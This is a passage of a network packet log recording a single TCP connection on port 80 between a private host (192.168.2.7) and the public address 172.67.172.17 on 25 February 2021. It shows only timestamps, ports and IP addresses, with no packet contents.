Feb 25, 2021 15:14:52.832498074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832499027 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.832521915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832537889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.832546949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832571983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832585096 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.833370924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833436012 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.833457947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833486080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833525896 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.833540916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833565950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833590031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833606958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.833621025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.833822012 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.834284067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.834311962 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.834337950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.834358931 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.834369898 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.834407091 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.094329119 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.147114992 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167872906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167917013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167932034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167947054 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167964935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.167988062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168004990 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168020964 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168037891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168056011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168071032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168077946 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.168087959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168107033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168124914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168142080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168159008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168174028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168190002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168206930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168221951 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168234110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168246984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168257952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168270111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168282986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168297052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168308973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.168322086 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.168359041 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.169037104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169064999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169078112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169090033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169110060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169118881 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.169126034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169137001 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.169143915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.169163942 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.169207096 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.173899889 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.173943043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.173968077 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.173991919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174015999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174046040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174046040 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174068928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174072981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174084902 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174091101 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174113989 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174141884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174144030 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174164057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174182892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174185991 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174210072 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174228907 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174237967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174263000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174277067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174287081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174310923 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174333096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174338102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174355030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174375057 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174376965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174398899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174422979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174427032 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174447060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174465895 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174468994 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174488068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174581051 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174792051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174817085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174839973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174858093 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174863100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174885988 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174885988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174909115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174930096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174933910 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174952030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174968958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.174974918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.174995899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175015926 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175035954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175060034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175075054 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175082922 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175105095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175106049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175124884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175149918 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175720930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175749063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175770044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175792933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175805092 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175813913 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175820112 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175838947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175856113 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175860882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175882101 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175898075 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175903082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175924063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175942898 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175945044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175966978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.175986052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.175987959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176012039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176024914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176033974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176054001 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176067114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176673889 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176703930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176727057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176731110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176748037 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176765919 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176769972 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176791906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176805973 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176812887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176834106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176860094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176862001 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176882982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176893950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176906109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176925898 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176938057 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176945925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176965952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.176981926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.176986933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177014112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177025080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177623034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177645922 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177668095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177676916 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177687883 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177697897 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177710056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177731037 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177742958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177752018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177773952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177787066 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177797079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177818060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177831888 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177838087 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177858114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177875996 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177880049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177900076 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177916050 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.177920103 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177942991 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.177954912 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178576946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178601027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178622961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178625107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178646088 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178656101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178668022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178689003 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178700924 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178710938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178733110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178741932 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178755045 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178774118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178783894 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178793907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178814888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178826094 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178836107 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178855896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178864956 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.178877115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178900957 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.178908110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179528952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179553032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179573059 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179574013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179600000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179605007 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179624081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179646969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179656029 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179667950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179689884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179697990 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179709911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179730892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179740906 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179750919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179774046 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179781914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179795980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179816008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179830074 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179836988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.179872036 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.179904938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180484056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180514097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180532932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180552959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180573940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180594921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180620909 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180646896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180649996 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.180671930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180674076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.180696011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180706024 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.180720091 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180743933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180759907 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.180768013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180793047 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180810928 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.180824995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180850983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.180861950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181453943 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181483030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181507111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181514025 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181533098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181543112 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181561947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181583881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181591988 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181608915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181631088 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181638956 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181653023 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181674004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181684971 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181694031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181715012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181725025 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181735992 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181756973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181766987 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.181780100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181801081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.181809902 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182455063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182486057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182507038 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182508945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182533026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182543039 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182555914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182576895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182599068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182610989 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182620049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182631969 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182641029 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182662964 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182673931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182687998 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182715893 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182724953 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182743073 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182769060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182780981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.182794094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182816982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.182830095 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183378935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183407068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183434963 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183437109 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183460951 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183470964 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183485985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183511019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183523893 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183536053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183561087 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183581114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183587074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183610916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183623075 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183634043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183665991 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183681011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183700085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.183701038 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.183718920 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185477972 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185508966 CET	80	49708	172.67.172.17	192.168.2.7
